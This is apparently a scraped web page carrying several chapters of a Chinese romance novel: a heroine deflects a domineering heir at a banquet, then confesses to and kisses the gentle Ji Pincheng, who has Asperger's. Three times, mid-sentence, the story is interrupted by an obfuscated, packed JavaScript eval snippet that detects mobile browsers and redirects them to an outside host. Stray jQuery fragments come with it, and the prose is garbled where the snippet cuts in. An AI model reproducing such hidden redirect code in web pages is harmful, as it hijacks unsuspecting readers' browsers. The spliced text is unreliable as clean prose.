维娜含笑点头,晏迎这下终于露出真心的笑容了,谢天谢地,终于要走了。 季磊谦的眼睛刮过晏迎的脸,他在心里冷笑,等着。 他一走远,维娜立马向晏迎投来好奇的目光:“小迎,这是什么情况?” 晏迎抿了抿唇:“季品诚就是季家被抹去的长子,刚刚季磊谦在走廊上吸烟,我看他一眼,就能断定他们之间肯定是有血缘关系的。” “实在是太像了。”晏迎平复了一下自己的心情,打开手机给维娜看了一张季品诚的照片。 维娜的目光触及到季品诚的脸,又看了看不远处的季磊谦,她张了张嘴,哑口无言。 晏迎语气无奈:“我也没招惹那个季少啊,他怎么就和开屏的孔雀似得自己走过来了?” 维娜被她的这个比喻逗笑了,想到了什么,她的语气变得有些严肃:“季磊谦不是什么好人,小迎,你得当心。” 晏迎按了按自己的太阳穴,她现在是真的觉得有些头疼了。 肚子还饿着,她不管是身心,都在想念季品诚,想念和他相处的松弛自在。 她重重叹了一口气:“今天算我倒霉。” “倒霉什么?”带着笑意的男声从晏迎身后传来,温热的气息拂在她的脖颈上,激得晏迎心跳都漏了一拍。 晏迎回头,发现季磊谦不知道什么时候走到她身后,半俯身居高临下地看着她。 那眼神带着戏谑,像是在看猎物。 晏迎礼貌地冲他假笑一下,有种想一巴掌抽上去的冲动。 维娜带着担忧的目光望向晏迎,她深知季磊谦这是动真格地对晏迎感兴趣了。 这在维娜眼里看来,百害无一利。 “嗯?”季磊谦觉得自己今天简直就是耐心爆棚,他又重复了一遍,“你今天倒霉什么?” 20. 20 “倒霉我山猪吃不来细糠,”晏迎含笑,“今天的菜不合胃口。” 这话让季磊谦的笑意更加浓烈了,他索性坐在了晏迎旁边的空位上,吩咐侍从把菜单拿过来。 “今天我季家做东,哪里有让晏小姐吃不饱的道理,”他翻开菜单递给晏迎,“想吃什么随便点,我请客。” 他身上的男士香水味前调带着虚假的温柔,但闻久了,会发现中调的留香时间及其没有耐心,而后调的辛辣味带着迅猛的攻击性,通过鼻子,攥紧你的心。 晏迎不自觉地想要拒绝他:“多谢季少,不用了。” 季磊谦露出伤心失望难过的神色:“晏小姐这样不给面子吗?” 这就是不容许她拒绝了,晏迎深呼吸一口气,微笑道:“那既然季少这样体贴,我就不和季少客气了。” 季磊谦听到这话才高兴点:“随便点。” 菜单上一堆晏迎看不懂的法语西班牙语,晦涩的英文单词在底下给它们做着注释,晏迎翻译了半天,也不知道这菜究竟是个东西。 她不愿意在季磊谦面前失了面子,艰难地又重新翻了一页,老天,怎么还有泰语? 她看得太入神了,连季磊谦的身体往她这里靠了过来都没有察觉。 他把距离掌握得恰到好处,他们的肩膀轻轻挨在一起,哪怕是只有一厘米的触碰,可就是那微乎其微的一厘米,让他们在别人眼里,带着一种不一样的亲昵。 季磊谦看出来她看不懂菜单了,但是他没有出声提醒。 她微微蹙眉思考的样子,很好看,很可爱,他想多欣赏一会。 晏迎在心里把季磊谦以及这个破高级酒店骂了八百遍了,装货,都是装货,弄个中文菜单会怎么样啊。 她深呼吸一口气,准备随便指两个菜敷衍一下算了。 季磊谦的声音抢先一步响起,他的声音压得很低,听上去性感且温柔:“你喜欢吃海鲜吗?” 晏迎下意识地回答了他:“还可以。” “喜欢羊排还是牛排?” “牛排。” “主食喜欢意大利面还是咖喱饭?” “蛋炒饭。” 季磊谦愣了一下,随即笑了:“好。” 他用外语叽里咕噜和侍从说了一大堆,晏迎只听懂了最后一句。 “主食让中餐厨子去做一份蛋炒饭,其他配置都要两份。” 侍从点头弯腰接过菜单,季磊谦转头对晏迎道:“我喝了一晚上的酒,也没怎么好好吃饭,一起吃点吧。” 晏迎也笑:“好啊,和季少共进晚餐也是我的荣幸。” 学聪明了,季磊谦看她一眼,知道谁才是这里的老大,明白要给他顺毛了。 晏迎咬了咬自己的下嘴唇,这个装货,她能有拒绝的权利嘛? 季磊谦给周围的人使了一个眼色,维娜和其他人会意,纷纷借口离席。 这里只有他们两个人了,晏迎认命地看了一眼手机上的时间,希望今天晚上赶紧过去。 她收到了维娜的消息“小迎,有什么事就发消息给我,我立马来。” 晏迎叹了一口气,这家伙这么难搞,就算维娜来了又能怎么样,都怪自己,当时在走廊的时候看他干什么,引火上身了吧。 “想什么呢?”季磊谦冲她问道,语调含笑。 “在想一会的菜会有多好吃。” 晏迎觉得自己今天把半辈子的违心话都要说完了。 季磊谦倒是想得开,他并不在意她话里的真真假假,只觉得和她相处开心就行了。 菜不是预制的,都是新鲜食材现做的,所以得等一会功夫。 等菜的过程里,两个人都没有说话。 周围嘈杂声不断,来来往往敬酒的人络绎不绝,场面上的漂亮话如流水,一句接着一句,糖衣炮弹似得把对方捧得高高的。 晏迎只觉得无趣,她的思绪飘向今天早上那间小小的厨房,穿着浅灰色围裙的男人,眉目温和俊朗。 他听她说话的时候,是那样认真,哪怕是她故意逗他说的一句玩笑话,他也会去仔细做好。 晏迎的脑海里出现季品诚望向自己的温柔眉目,她情不自禁地弯弯唇角。 季磊谦的目光一直在若有若无地追随着她,她笑的时候,他的心跳不快反而慢了下来。 像是在M国飙车飙得太狠了,一下子停下来喘口气,车靠在路边的树下,午后热烈温暖的太阳光透过枝丫照了过来,白兰地刺激的味道还在嘴巴里没有扩散完,但人已经被阳光晒得昏昏欲睡了。 这种感觉,是Susuan,Amelia,Bonnie还有Jenna,还有其他他记得或者是遗忘的前女友没有带给他过的感觉。 有没有眼力见的人走到季磊谦身边,谄媚地朝他敬酒,打断了他的思绪。 季磊谦心不在焉地应付着,他的余光还停留在晏迎的脸上。 她不知道是又想起了什么美好的东西,低着头傻笑。 季磊谦的唇角也不自觉地跟随她弯了起来,哪怕他知道她的开心里,暂时还没有他。 是的,只是暂时还没有他而已,他很有信心他以后会常驻在她的生活中。 这个想法跟随着一杯浓烈的酒下肚,酒精的后劲上来时,季磊谦才反应过来,刚刚自己的脑子里都想了些什么。 他第一次对一个女人,想到了长远的以后,而且这个女人看上去并不是很愿意领他的情。 敬酒的人都走掉,季磊谦重新坐回了她身边。 晏迎抬头看他,发现他白皙的面颊上,有醉酒的潮红。 季磊谦注意到了她的目光,解释道:“今天喝得有点多了。” 兴许是为了搭话,让气氛不那么安静尴尬,晏迎开口道:“回家喝点醒酒汤吧,要不然早上醒过来肯定要头痛的。” “用苹果和橙子洗干净切块,一起冷水下锅,等水煮沸之后加几块老冰糖,煮十分钟,放凉之后再加点蜂蜜,喝下去会舒服很多。” 季磊谦只是愣愣地看着她不说话。 晏迎被他直白的目光看得有些不自在,她别过脸自嘲道:“我又话多了,季少家里的保姆肯定会都安排妥当,哪里需要我告诉季少这些。” 季磊谦摇摇头:“别叫我季少了,你应该是知道我的名字的吧,以后直接叫我的名字就好。” 他的名字,和季品诚的名字是对应的。 晏迎觉得直呼他的大名总有种奇怪的感觉,像是莫名其妙的亲昵。 这场子里,除了季国明,哪里还有第二个人,敢直呼这位少爷的大名呢? 晏迎看向他的眼睛,他在等她的回答。 她知道的,要是拒绝了他,他肯定又要不高兴了。 啧,晏迎在心里叹气,真难伺候。 “好的。”她应付地答应下来。 可季磊谦却不依不饶:“那你叫一声我的名字听听。” 晏迎的语速飞快:“季磊谦。” “没听清,重新叫一遍。” 那是你耳朵不好使,晏迎在心里咬牙切齿。 她放慢自己的语速,一个字一个字道:“季,磊,谦。” “一点都不温柔,温柔点再叫一遍。” “季磊谦,你到底想怎么样?” 晏迎是真的无奈了,这家伙是自己的克星吧。 “嗯,这个对味了,以后就这么叫。”季磊谦看她无可奈何的样子笑了笑,不再逗她,忍住了想要捏一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153866|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的脸的冲动。 侍从把他们刚刚点的菜上齐,晏迎不再说话,低头专心吃饭。 应付了这个大少爷一晚上了,她是真的有点饿了。 她吃得香,季磊谦觉得自己的胃口也变好了。 第三视角里,季少笑意盈盈地用刀把牛排切好送到了旁边女人的餐盘里。 太体贴了,太绅士了。 自作多情,我自己会切,晏迎心中暗暗腹诽,可这么多人看着,她顾着场面功夫,笑着接过送入口中。 季磊谦慢条斯理地吃了个五分饱就放下了刀叉,他有些疲惫地靠在椅子背上,看晏迎吃蛋炒饭。 晏迎转过头和他对视,从他宁静放松的脸上,捕捉到了几分季品诚的神态。 “你别盯着我吃饭,我会不好意思的。” 她的脸上可丝毫没有“不好意思”的表情,她只是觉得这人用一张和季品诚这么相像的脸看她,怪变扭的。 “行。”他顺从地别过了自己的目光,却没有起身离开。 “你要是有别的事情可以先去做,不用在这里陪我。” “没有别的事情,我就想在这坐会。” 晏迎不去看他,把碗里本来分量就不多的蛋炒饭吃完,又喝了一小杯橙子汁才满意地解开了餐巾。 “感谢季少款待。” 季磊谦不语,冲她挑了挑眉毛。 晏迎无语地扯了扯嘴角,换上标准的微笑:“谢谢你,季磊谦。” 有乐队登台,欢快的小提琴声响起,晏迎仔细去听,是《查尔达什舞曲》。 舞池中央,不少年轻的男男女女牵着手准备共舞,气氛更加热闹了。 季磊谦还是以一个松弛的姿势靠在椅子背上,他的眼神凝在晏迎眼下的一颗小痣上,朝她伸出了手。 “晏小姐愿意给个面子一起跳支舞吗?” 晏迎的目光顿在他递过来的手掌上,他指节修长,长年养尊处优,皮肤比她还要白上两分。 “我打算去找维娜,我有些话想和维娜说。”她并没有接过他的手。 季磊谦的手还是保持着邀请的姿势,他没有放下来。 他平静开口:“你的老板现在没有时间,她很忙的,我刚刚让几个国际大公司的负责人去找她谈项目,她现在恐怕嘴皮子干到喝口水的功夫都没有。” 晏迎呆愣了几秒,认命一般把自己的手放到了他的手掌心里,肌肤相触的瞬间,他一下子牢牢握住。 他歪头,对她露出一个得逞的笑容,然后他起身握紧她的手走向舞池中央。 《查尔达什舞曲》的旋律响彻舞池中央,跳舞的男男女女见到他牵着自己的舞伴,纷纷识趣地让路。 晏迎抬头,被头顶水晶吊灯的光闪了一下眼睛,她眼中神色迷离,心一下子不知道飞向了哪里。 如果此刻牵着她跳舞的人是季品诚呢,她还会这样迷惘吗? 她大概会牢牢握紧他的手,然后教那个温柔古板的男人,在这欢快的旋律里,用最简单的舞步,跳得酣畅淋漓。 腰被一双手虚虚扶住,他笑着在她耳边道:“你是第一个,和我跳舞发呆的女人。” 他呼出的热气激得她发痒,晏迎对上他的眼睛:“我跳得很一般的。” “没关系,”他丝毫不在意,“你跟着我的节奏来就好。” 晏迎跟着他的节奏跳了起来,好几次都差点踩到他的皮鞋。 他的目光一直停留在她的脸上,明明一个字都没有说,但仿佛又说了好多。 晏迎冲他低声道:“我就说吧,我跳得很一般的,你现在换舞伴还来得及。” 他在她头顶上方笑了一声:“是挺一般的,但我从来没有中途换舞伴的坏习惯。” 21. 21 宴会结束后,季磊谦提出要送她回家。 晏迎拒绝了:“多谢,我自己有车。” 季磊谦也不勉强她:“行,那你回家的时候注意安全。” 晏迎拿起手提包就想赶紧走人,他的声音又在她身后响起:“加个联系方式吧,晏小姐。” 她想拒绝,可拿什么理由拒绝?就算有冠冕堂皇的理由,她的拒绝在他那里又有什么作用呢? 季磊谦打了一个哈欠道:“我手上资源很多,一些好项目也很匹配晏小姐的才华,你需要更大的平台和更多的机会,不是吗?” 晏迎握紧门把的手,在他的话里慢慢松开。 季磊谦眉目含笑,叫了她的名字:“晏迎,你认识我,你绝对不会亏的。” 那话语里带着一种不容拒绝的蛊惑,晏迎低头闭眼,挣扎了一下,然后深深叹气。 她转身回头,冲季磊谦道:“好。” 开车回家的路上,晏迎把车窗打开,冷风吹进来的时候,她才感觉清醒一点。 她有些低落地想,自己到底是肉/体凡胎面对诱惑和欲/望的时候,她的本能是接受。 车停在家门口,晏迎把车窗按到了底,她从西装外套的口袋里拿出了烟盒子,为自己点燃了一根烟。 烟草的味道萦绕鼻息,她在冷风里用力吸了一口,被自己呛到,捂着嘴大声咳嗽起来。 她感觉自己在和撒旦做交易,季家是什么样子,她光是道听途说,就胆战心惊,但他步步紧逼,她夹在中间,一下子不知道怎么完美地脱身。 他今天可以用人脉和资源利诱她,明天,也可以用这些东西威逼她。 一支烟抽了一半,晏迎狠狠按在烟灰缸里熄灭了。 她透过车窗望过去,对面就是季品诚的家,他家的灯还亮着,他还没有入睡。 她仰头无力地靠在车座上,妄图用目光去敲响他家的门,然后走进去,拥抱他。 哦不对,晏迎自嘲地笑了笑,她摸了摸自己的食指,自己有他家的指纹门禁。 他的信任化作她手指上深刻的指纹,一圈又一圈无休无止地缠绕着,让晏迎心里难受。 与季家割席之后的日子,他一路走到今天,肯定很不好过吧。 她不应该和伤害他的季家有什么牵扯。 晏迎也不知道自己在车里坐了多久,直到身体保持一个姿势发麻到失去知觉。 季品诚整理完一些专业资料,打开了自己的日记本。 他提笔写下今天的日期,然后笑着写下一行字。 “今天尝试做了包子,出乎意料的成功,下厨尝试新东西和在实验室里做实验的感觉差不多,但这场实验成功做出包子并不是终点和最终目的,我的最终目的是她可以喜欢。” “她的出现让我大脑中的杏仁核活动增强,我无法控制地产生了喜爱和思念的情绪。” “我曾因为自己患有阿斯伯格症而逃避对她坦白病情,我阴暗地想过竭尽全力扮演正常人,对她隐瞒一生。” “这种扭曲且卑劣的情感在很多我面对她的时候都自行惭秽,我又担忧着,她无法接受这样的我。” “但随着大脑内杏仁核活动越来越剧烈,我一想到她,就无法平静,药物也无法抑制我的情感。” 季品诚皱眉低头,他的右手因为心中激烈的情绪,出现了躯体化反应,发抖到连笔都握不稳。 他抿了抿唇,强忍着不适,继续写了下去。 一手好看的行楷变得歪歪扭扭,他颤抖地写道“我想,这种情感对于我这样的人来说,一辈子能有一次已经算奇迹了。” 幸好他不像Ge叔叔一样信教,要不然他此刻得闭眼摸着十字架祷告。 感谢上帝,天赐他爱人。 晏迎打开车门,一步步走向季品诚的家门。 她的理智和那支抽了一半的烟一样,被她亲手熄灭了。 她站在他的家门外,却迟迟没有伸出食指去解开那道门禁。 寒冷的晚风里,她垂眸,像是在忏悔。 季品诚的情绪稍稍平稳了一些,字迹宛如他的心迹,也越来越清晰。 “我会向她坦白,哪怕她厌恶我,远离我。” 在他的世界里,欺骗,是一种罪恶。 季品诚合上日记本,把头埋在手掌心沉思,他实在不知道,如何和她坦白这一切。 直接和她说吗?会不会吓到她? 她也会和那些知道他病情的人一样,对他投来不堪的目光,视他如怪物吗? “滴滴”连着门外电子屏的监控发出提醒,提醒他门外有人长久地站立,不曾离去。 季品诚看向那方巴掌大的电子屏,门外是一个穿着黑色礼服,披着白色西装外套的女人。 她低头,揉了揉自己的鼻子,好像是打了一个喷嚏。 他呼吸一滞,感觉到自己的心跳都不复平稳,慌忙起身间,膝盖上的书和笔记本掉落一地,顾不得拾起。 他没有犹豫地打开了门,晏迎惊讶抬头,和穿着家居服的男人对视。 那张她一眼就可以分清的脸,那张她朝思暮想的脸,此刻真实地出现在了她的面前。 晏迎张了张嘴,想说些什么,却又止住。 季品诚的目光停在她被冻红的鼻子上,他主动伸出手把她拉进门内,关上了门。 室内开了空调,很温暖,两个人面对面站着,彼此无言。 季品诚率先开口道:“傻站着吹风干什么,不是有我家的门禁吗?” “我身上有烟味和酒味,而且这么晚了,我怕打扰到你。” “你什么时候找我,都不算是打扰。” 晏迎看着他的眼睛,里面不装着任何花言巧语,她在这样的眼神里退后一步:“你不是从来都最讨厌这样的味道吗?” 季品诚与她对视,平静地回答:“如果这些是无法避免的,我会选择习惯。” 一个声音在他脑海里响起,你已经习惯她了不是吗? 如果有一天她离开了你,你又会期待谁推开你家的门,又会期待谁毫无征兆地出现在你的日记本里? 季品诚觉得今天的自己被恶魔控制了,他主动向她走近一步,没有看她的眼睛,而是用手理了理她的头发。 她的头发刚刚被风吹得有些乱,他仔细整理好,像是在实验室戴着白手套整理最精密的天文仪器。 如视珍宝,小心翼翼。 晏迎用余光瞥见他指间的动作,感受他的手指顺过自己的头发,带来一阵电流般的酥酥麻麻。她仿佛灵魂出窍,只听见心跳乍然轰响。 季品诚闭眼,在她耳边低语:“不管你身上沾染什么气味,酒味也好,烟味也罢,我都不会讨厌你。” 上帝曾为他关上情感之门,此刻却命运弄人。 他其实还尚未完完全全地去懂得如何爱人,但只要一靠近她,他就会忍不住地去给予她回应。 哪怕这些回应可能笨拙到可笑。 季品诚有时候也不知道自己这样做到底对不对,如何把爱付之于行动超过了他知识储备的范围。 晏迎向他慢慢靠近,握住了他垂在身体两侧的手,她的手比他的小,却倔强地想要把他骨节分明的手包容在自己的掌心里。 哪里包得住? 季品诚眨了眨眼睛,有些不解地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158018|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的动作,他思考了一下,尝试着将自己的手从她掌心抽离,然后温柔地反握住她的手。 他的掌心很温暖,捂着她冰冷的手背,直到两个人手上的温度融为一体。 晏迎仔细去看他的表情,他没有一点嫌弃或者是不舒服的样子。 季品诚疑惑地对上她那灼热的目光:“怎么了?怎么这样看着我?” 晏迎向他又靠近了一点点:“季老师,你不是不喜欢和别人有肢体接触的吗?” 她脸上是他熟悉的,带着调侃的笑意。 原来是这个啊...季品诚叹了一口气,认命般地低语:“你自己知道的,你是最清楚的,你在我心里,不是别人。” 他的眼睫毛轻微颤抖,这个出自身体本能的反应让晏迎心跳加快。 晏迎再一次在心里忏悔,阿门,好可怜的样子,早知道不在这个节骨眼上逗他了。 但每每对上他认真的,严谨的,几近于虔诚的目光时,她就情不自禁地想要走进他的世界,听到他更多的声音。 他的世界就像是一座迷宫,很多人还没走进去几步路,就觉得这里的风景太枯燥连忙退出。 他一个人站在迷宫的终点自己做自己的事情,并不在乎有没有人愿意走进来找到他。 天注定,她误打误撞,在迷宫里看到了他寂寞的身影。 晏迎抬头深深望进他眼底,她此刻的眼神带有很强的侵略性,她是个很贪心的人,不止想要在迷宫里找到他,她还想牵着他的手,去创造一个,只属于他们两个人的新世界。 她向前走一步,季品诚下意识地退后一步。 他的大脑在她的眼神里停止了思考,只知道她步步紧逼,而自己退无可退。 季品诚的脊背靠在雪白的墙壁上,他眸光向下,与她对视,看见她眼底一片晶莹。 很多想说的,一下子却不知道该从何处开始说起。 晏迎的声音很低,房子里只有他们两个人,可她还是压低声音说话了。 她好像在对他说一个秘密,一个他从来没听说过的秘密。 “季老师,闭上眼睛。” “你又要给我什么惊喜吗?”他笑了,他还记得她上次让他闭眼,是带他去看那块公园里的装饰牌。 那块写着“sincerelysavourthefourseasons.”的牌子。 这次不一样,晏迎冲他摇了摇头:“还有一种情况,也是要闭上眼睛的。” “什么?” “你先闭上,好不好?” 季品诚顺从地闭上了眼睛,在一片黑暗里,他的耳边,只有她的呼吸声和自己的心跳声交织在了一起。 他感受到她的手从自己的掌心中脱离,冰凉的手指像是蛇柔软的腹部,灵活地夺走了架在他鼻梁上的银框眼镜。 特殊的预感自他心中翻腾,他不知道她到底要做什么,但他垂在身体两侧的手,控制不住地发抖。 药在沙发茶几那里,他还没来得及吃,就算吃了也没用。 遇到她,很多事情,总是无解的。 他的脸上没有了眼镜的阻隔,晏迎放肆得无限靠近。 温热的气息扑在季品诚的脸上,点燃了他所有的温度。 他觉得自己此刻是一只失去所有力气的飞蛾,而她,是永远不熄灭的烈火。 晏迎垂眸,停了几秒钟,这几秒,她是在给他推开她的机会。 可他仿佛被人施咒,变成雕像,一动不动。 就像是神话故事里写的一样,变成石头雕像的王子,得需要神女用吻来解救。 晏迎捧住他的脸,百无禁忌地吻了上去。 22. 22 那一吻,让季品诚睁开了眼睛。 他的瞳孔因为震惊而放大,里面倒映出晏迎的模样。 她无辜地眼神像是落入人间的神女,不懂七情六欲,一切欲/望的罪魁祸首,都来自他的引诱。 她更深地吻了进去,季品诚和她一起换气,认命地重新闭上了眼睛。 他从她的嘴里品尝出了酒味,算了,他想,就让他们一起沉醉吧。 该怎样去形容这个吻? 是试探,是渴望,也是不甘。 晏迎松开他的时候,两个人别过头去喘气,没有去看对方的眼睛。 今天的这个吻来得太突然了,在所有人的意料之外。 不亚于狮子座流星雨毫无预兆地亲吻地球,太阳在下一秒发生能量波动,“轰”地一下大爆炸。 两个人的理智,现在都又回到了脑子里。 他们站直身体,小心翼翼地扭过头,抬眼看向对方。 这一幕,晏迎莫名其妙地觉得滑稽。 相顾无言间,晏迎低下头抿唇憋笑。 她的脸颊一直连到耳朵,都泛着蔷薇般的淡红色。 季品诚在她的笑里,心跳猛然加速,一下子不知所措。 他别扭地低下头,不去看她的笑容:“你笑什么?” “我在笑…”晏迎故作玄虚地停顿了一下,她满意地看着他有些紧张的表情,然后笑出了声。 她一想到一会要说什么她就忍不住想笑。 季品诚绷不住了,他“嘶”了一声走到她面前:“晏迎,你到底在笑什么?” 晏迎满意地看着他紧张的表情,她深呼吸一口气,冲季品诚勾了勾手指:“季老师,你过来,我告诉你。” “这里就我们两个人,你现在扯着嗓子说话也没第三个人听得见。” “不行,”晏迎一副义正严辞的模样压低了声音,“只能你一个人听见,你家的那些家具也不能听见。” 季品诚愣了几秒,大概是他有生之年第一次听到这么离谱的话。 算了,季品诚叹气,如果离谱的人是她,这倒也正常。 他站在她面前低下头:“你现在总可以说了吧?” 晏迎嘴唇靠近他的耳朵,轻声道:“我是在笑我自己得偿所愿。” “我老早就想亲你了。” 她话刚落音,便看到了季品诚熟透一样的脸。 好红啊,晏迎甚至还上手摸了摸。 好烫啊,这是红烧季品诚? 不行,这笑话太地狱了,不能这么取笑季老师,要尊师重道。 嗯,对,尊师重道。 下一秒,晏迎就“扑哧”一声笑了出来:“季老师,你干什么这么害羞啊?” 想笑就笑呗,反正季品诚又不是她的老师。 季品诚红温了,他前段时间发烧脸都没这么烫过:“你什么时候有这个想法的?我一点都没有看出来。” 能让你看出来?晏迎在心里冷笑,你要是看得出来才奇怪呢。 话到晏迎嘴边又变成了:“那是我掩饰得好,才没有让季老师看出我的爱慕之心。” 晏迎看着他越来越红的脸加大火力:“我见到季老师的第一眼,就想这么干了。” 这句倒是她顺嘴胡说八道的,她在张峰办公室见到他的第一眼,其实除了觉得他气质冷冰冰的,没有其他想法了。 至于什么时候对他产生了接吻的萌芽,晏迎自己也不知道。 季品诚半信半疑地看着她,她好看的大眼睛忽闪忽闪,就差把“真诚”这两个字写在脸上了。 都被她亲了,他总归是,认命了。 哪怕他看得出来,晏迎这人,其实最擅长见人说人话见鬼说鬼话。 鬼话说多了遭报应,晏迎这个时候打了一个喷嚏。 季品诚笑了:“刚刚一直站在门口吹风不进来,被冻着了吧,苏姨在厨房放了红糖姜茶的配料包,我去熬给你喝。” 晏迎没有拒绝,她坐在沙发上,把地毯上掉落的书和笔记本捡了起来。 她随手放在茶几上,然后目光顿住,移不开来。 她看到了他的两盒药,还有一杯没有动过的温水。 晏迎的目光望向他在厨房忙碌的身影,眉头不自觉地拧了起来。 他还在吃药吗?他还一直难受着吗? 季品诚端着红糖姜茶出来的时候,看到了她坐在沙发上小学生一样端端正正的坐姿。 她皱眉低着头,不知道是在思考什么。 季品诚的视线落在沙发茶几上,那里放着他的药。 他垂下眼,心里明白到底发生了什么。 迟早有一天是要坦白从宽的,他不可能,也不想瞒着她一辈子。 “趁热喝了。” 晏迎抬头,下意识地接过他手里的杯子。 有些烫,她一边吹着热气,一边小口地喝。 很好喝,甜滋滋的,喝下去整个人都舒畅了,暖流遍布全身,让人有了昏昏欲睡的冲动。 她隔着蒸腾的白色热气望向身边端坐的男人,她轻轻一吹,白色热气不听话地迷住了季品诚的眼镜片。 隔着被雾气蒙住的镜片,她的样子让季品诚看不真切。 他淡定地摘掉了眼镜,拿起一块干净的眼镜布擦拭镜片。 温暖的客厅,暖黄色的灯光,柔软的沙发,他一身灰色的家居服,安静地捣鼓着手上的眼镜。 这在晏迎的眼里,形成了一幅和谐统一的画。 他在她的视觉中央。 季品诚把眼镜重新架到鼻梁上,他看她一眼:“嗯,又能把你看清楚了。” 晏迎往他这边坐了一点,她冲他弯弯唇角笑道:“那我离你近点,这样你就能看得更清楚了。” 季品诚没有说话,也没有动,他垂眸安安静静地看她。 晏迎知道他在想什么,她在心里叹了一口气,然后大大方方地靠在了他的肩膀上喝着已经不那么烫的红糖姜茶。 季品诚安静地给她靠着,感受到被她依靠的半边身体充斥着温暖。 像是有什么东西,有了着落,不再漂浮流浪。 反正都被她亲了,靠一下也算不上什么了。 晏迎的声音有点疲惫:“今天的宴会可累了,要应付很多人,我其实挺喜欢和人社交的,但这种说着场面话的虚伪社交就很讨厌。” “嗯,参与不喜欢的社交,确实是一件损耗能量的事情。”他转头,嘴唇却恰好碰上她的头发,他索性将错就错,吻了吻她的发顶。 晏迎并没有察觉到他的亲吻,继续说道:“季老师,和你在一块儿,我感到特别心安。” “嗯…,这种感觉怎么形容呢,就像是回家了一样。” 可以在你面前脆弱,可以在你面前搞怪,可以妆花了也没关系,你只会在意我刚刚吹了风,肯定会很冷。 “那欢迎你回家。”他在她耳边低声道。 这种煽情时刻,晏迎坐直身体,把茶几上的那杯温水递给了季品诚。 “来,季老师,我敬你。” 季品诚一时间没有跟得上她跳跃的思维和节奏,他的手稀里糊涂地接过玻璃水杯,和她干杯。 晏迎习惯性地把杯子稍微放低一点,这是她作为职场人多年来的谦逊。 季品诚没有放低自己的杯子同她谦让,而是伸出手,扶高了她的杯子。 晏迎冲他眨了眨眼,做出恍然大悟的表情:“啊对,咱俩之间,现在我高你一头。” “毕竟我现在是你的…”她拉长声音,“女朋友。” “天大地大,女朋友最大。” 都给她亲了,她得负责,他不认账也不行。 晏迎眯了眯眼睛,他要是敢不认账,她今天晚上是不会放过他的。 季品诚喝了一口温水,想要开口和她说“做我女朋友之前,我要和你说一件事…” 这是个坦白自己病情的好契机,如果她介意,现在断掉这层关系还来得及。 他得在正式确认关系之前和她说清楚,不能耽误她一辈子。 他放下杯子,话还没来得及说,晏迎伸手把茶几上的两盒药够了过来。 她挑眉道:“正好你手上有水,把药顺带着也吃了吧。” “这个红色的胶囊几颗?” “一颗”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161142|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “白色的药片呢?” “两片。” “伸手。”晏迎把药倒在他掌心里。 季品诚拿水过了一口闷掉,他面无表情地看着晏迎:“你知道这些药是干什么的吗?” 晏迎点头:“我知道,我不傻。” 她伸出手敲了敲药盒子上的字:“我认识字,聪明着呢,季品诚你别当我傻。” 季品诚笑了:“谁敢说你傻?” 他话锋一转:“这位聪明的晏迎小姐,你还知道什么?” “我还知道你有阿斯伯格综合症。”她回答得很快。 也知道你的纠结,你的痛苦,你与生俱来的寂寞和孤独。 两个人之间又静默了。 季品诚抱住自己的手臂,看她把杯子里的红糖姜茶一饮而尽。 他伸手扯过一张餐巾纸,递给她擦嘴。 晏迎还是笑眯眯地看着他:“谢谢季老师。” 她擦完嘴,一头钻进了他的怀里,把他直接当人形抱枕。 季品诚向来是跟不上她跳跃的频道的,但他很愿意跟着她的节奏走。 他不知所措地抬起自己的手,根据自己认知里对爱的反馈以及探究亲密关系的方式,他抱住了她单薄的脊背。 晏迎把脸埋在他的胸肌上猛吸一口,嗯,是雪松木味的沐浴露,好闻,爱闻,想多闻。 她把脸埋在他的胸口无声地笑了笑,用自己的鼻尖蹭了蹭他睡衣的扣子。 鼻子怎么解开扣子呀,晏迎真的很认真地想了三秒钟。 季品诚感受到了她的小动作,以为她是在自己怀里太闷气了不舒服,换了一个姿势让她透气一点。 晏迎却抱得更紧了。 他抬手顺了顺她的长发,斟酌了一下道:“晏迎,如果你介意我的这个病,可以和我放弃情侣关系,以及中断朋友关系,我尊重你的所有选择。” 他的话打断了晏迎想要用鼻尖解开睡衣扣子的思绪。 什么?晏迎在他怀里的停止笑意,眉毛皱起,他想和她终止关系? 想都不要想。 “我自己也清楚,我可能不适合和人建立亲密关系,但如果你愿意,我会尝试去做到我所能做的最好。” 用鼻尖解开扣子失败,晏迎放弃了做这件事情的想法。 她叹了一口气,从季品诚雪松味道的怀抱里抬头。 她面无表情,不复刚刚的笑意盈盈,甚至还带着难得的严肃。 她一动不动地盯着季品诚,嘴角紧抿。 季品诚的大脑飞速运转了一下,他已经做好了拥有最坏结果的打算。 “季品诚,今天是20xx年x月x日对不对?” “对。” “那你要记好这一天。”她伸手,隔着睡衣,掌心贴在他心脏的位置。 